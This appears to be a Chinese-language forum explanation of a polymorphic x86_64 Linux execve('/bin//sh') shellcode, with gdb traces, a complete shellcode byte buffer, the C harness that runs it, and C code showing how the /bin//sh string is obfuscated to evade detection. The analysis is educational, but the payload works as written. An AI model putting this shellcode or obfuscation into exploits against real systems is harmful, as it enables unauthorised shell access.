编辑: @EnricoGhirardi 感谢您指出我之前发布的mul esi不准确之处!
首先,在下面的示例中,第一条指令mul esi将rax和rdx清零(这只是因为rsi开始时为 0)。最低有效位将存储在rax 中,最高有效位将存储在rdx 中。这两个寄存器都为零。编译测试代码后,我们可以通过以下方式验证这一点:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
gdb shellcode
**BANNER SNIPPED**
Dump of assembler code for function main:
0x00000000004004ed <+0>: push %rbp
0x00000000004004ee <+1>: mov %rsp,%rbp
0x00000000004004f1 <+4>: sub $0x10,%rsp
0x00000000004004f5 <+8>: movq $0x601060,-0x8(%rbp)
0x00000000004004fd <+16>: mov -0x8(%rbp),%rdx
0x0000000000400501 <+20>: mov $0x0,%eax
0x0000000000400506 <+25>: callq *%rdx
0x0000000000400508 <+27>: leaveq
0x0000000000400509 <+28>: retq
End of assembler dump.
(gdb) b *0x0000000000400506
Breakpoint 1 at 0x400506
(gdb) c
The program is not being run.
(gdb) r
Breakpoint 1, 0x0000000000400506 in main ()
(gdb) si
0x0000000000601060 in code ()
(gdb) disas
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>: mul %esi
0x0000000000601062 <+2>: push %rdx
0x0000000000601063 <+3>: mov $0x1,%al
0x0000000000601065 <+5>: movabs $0xd2c45ed0e65e5edc,%rbx
0x000000000060106f <+15>: rol $0x18,%rbx
0x0000000000601073 <+19>: shr %rbx
0x0000000000601076 <+22>: push %rbx
0x0000000000601077 <+23>: lea (%rsp),%rdi
0x000000000060107b <+27>: add $0x3a,%al
0x000000000060107d <+29>: syscall
0x000000000060107f <+31>: add %al,(%rax)
End of assembler dump.
(gdb) i r rax rdx
rax 0x0 0
rdx 0x601060 6295648
(gdb) si
0x0000000000601062 in code ()
(gdb) i r rax rdx
rax 0x0 0
rdx 0x0 0
我们可以看到,rax 和 rdx 都是 0,这意味着 esi(或 rsi)已经乘以零。
这很重要,因为 shellcode 最终在第 29 行使用了一个系统调用。我们可以看到,第 29 行的系统调用前面是add al,58,其中 al 已经是 1,因此 rax 寄存器的值将是 59。
数字59是该指数的execve在Linux的x86_64的系统调用表
execve将执行 /bin//sh。让我们看看函数原型:
int execve(const char *filename, char *const argv[],
char *const envp[]);
根据原型的描述,文件名必须是二进制可执行文件,或以“#!interpreter [arg]”形式的一行开头的脚本
我们将看到最终 shellcode 传递了/bin//sh作为这个参数。
argv只是传递给二进制文件的参数。在这种情况下,参数为 NULL,因为正如我们之前看到的,rsi寄存器先前在第 20 行被清零。
同样,envp是传递给二进制文件的环境参数。同样,没有,因为我们已经看到mul %esi指令已将rsi和rdx都清零。在 x86_64 Linux 中,rsi和rdx寄存器分别是execve()的第二个和第三个参数。
您可以在此处找到有关 x86_64 调用约定的更多信息,以了解如何将参数传递给函数。
最后,execve 中的第一个参数是/bin//sh,它最终被传递到edi寄存器。edi保存 Linux x86_64 程序集中的第一个函数参数。
有趣的是,这是多态的 shellcode。我们可以将多态 shellcode 视为经过混淆的机器指令,它们在执行时对自身进行反混淆。
在第 23 行,ascii 中的十六进制字符串0xd2c45ed0e65e5edc是ÒÄ^Ðæ^^Ü,这显然被混淆了。
第 24 和 25 行对该字符串进行反混淆处理,我们得到0x68732f2f6e69622f,它是ASCII格式的hs//nib/。这是/bin//sh向后拼写的,因为参数以little endian byte order传递给 execve()。
为了验证概念,您可以在 gdb 中运行代码,或使用我编写的以下反混淆器:
#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>
uint64_t rol(uint64_t v, unsigned int bits)
{
return (v<<bits) | (v>>(8*sizeof(uint64_t)-bits));
}
int main(void)
{
uint64_t obfuscated = 0xd2c45ed0e65e5edc;
uint64_t deobfuscated = rol(obfuscated, 24);
deobfuscated /= 2;
printf("0x%" PRIx64 "\n", deobfuscated);
return 0;
}
您将获得反混淆后的十六进制字符串0x68732f2f6e69622f,它也是ASCII格式的hs//nib/。
第 26 行将反混淆后的 /bin//sh 压入堆栈顶部(即在rsp寄存器中),第 27 行将指向字符串/bin//sh的地址加载到rdi 中。再次请注意,这个字符串是以小端字节序传递的。现在我们可以清楚地看到/bin//sh是execve() 中的第一个参数
然后,shell 在第 29 行执行。
以下是注释的伪代码摘要:
_start:
mul esi ; When this shellcode is executed, rsi and rdx become 0 because they are multiplied by rax which is 0, in Linux x86_64 assembly, rsi is the second argument in a function
push rdx ; save rdx (i.e. the buffer pointer to the shellcode), rdx is also the third argument passed to a syscall in x86_64
mov al,1 ; used for obfuscation since mov al, 59 followed by syscall may look suspicious
mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh obfuscated
rol rbx,24 ; Deobfuscate the hex string /bin//sh
shr rbx,1 ; Division by 2 to further deobfuscate /bin//sh
push rbx ; Push the hex string on the top of the stack [in rsp]
lea rdi, [rsp] ; Load /bin//sh into rdi in little endian
; in linux 86_64 the first argument is passed to rdi during a syscall
add al,58 ; al = 59 i.e. call execve
syscall ; execve("/bin//sh", 0, *shellcode_buffer)
至于 C 代码,代表第 17-29 行编译后的程序集的机器指令存储在一个全局变量中。我们可以使用以下命令来检查 shellcode 中的字节:
$ nasm -felf64 shell.asm -o shell.o
$ ld shell.o -o shell
$ xxd shell
CONTENT SNIPPED
00000080: f7e6 52b0 0148 bbdc 5e5e e6d0 5ec4 d248 ..R..H..^^..^..H
00000090: c1c3 1848 d1eb 5348 8d3c 2404 3a0f 0500 ...H..SH.<$.:...
如我们所见,它与 C 代码中的以下缓冲区匹配:
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
main 中的代码简单地将字符串缓冲区全局变量转换为一个函数指针,然后调用该函数指针,执行多态 shellcode,并生成一个 shell。
最后,shellcode 只是漏洞利用的一个可能部分。漏洞利用包括为特定版本的程序和操作系统精确定制的输入。shellcode 可以是有效载荷的一部分,但操作系统已经变得更加安全,添加了 ASLR(地址堆栈布局随机化)和 DEP(数据执行保护),因此通常将函数指针覆盖到 GOT(全局偏移表)中更实用) 而不是将 shellcode 注入缓冲区。假设您正在执行通用堆栈缓冲区溢出,缓冲区必须至少为 0x19 字节长。您还需要更多空间来补偿其余的漏洞利用。换句话说,
这只是一个例子,但是这个 shellcode 可以通过更多的方式用于漏洞利用。
退后几步,如果esi/rsi不是 0 开始,这个 shellcode 可能会失败,因为如果它不是零,那么我们将有第二个参数传递给execve()甚至可能是第三个参数,如果来自指令mul esi溢出到edx。如果在mul esi指令之前有一个xor esi, esi指令, shellcode 会更可靠。
我们还可能会思考漏洞利用开发人员是如何想出经过混淆的十六进制字符串0xd2c45ed0e65e5edc 的。他们只是采用原始字符串hs//nib/并以相反的顺序应用反混淆指令。您可以使用以下代码进行概念验证:
#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>
uint64_t ror(uint64_t v, unsigned int bits)
{
return (v>>bits) | (v<<(8*sizeof(uint64_t)-bits));
}
int main(void)
{
uint64_t deobfuscated = 0x68732f2f6e69622f;
uint64_t obfuscated = deobfuscated * 2;
obfuscated = ror(obfuscated, 24);
printf("0x%" PRIx64 "\n", obfuscated);
return 0;
}
您应该获得原始混淆的十六进制字符串0xd2c45ed0e65e5edc。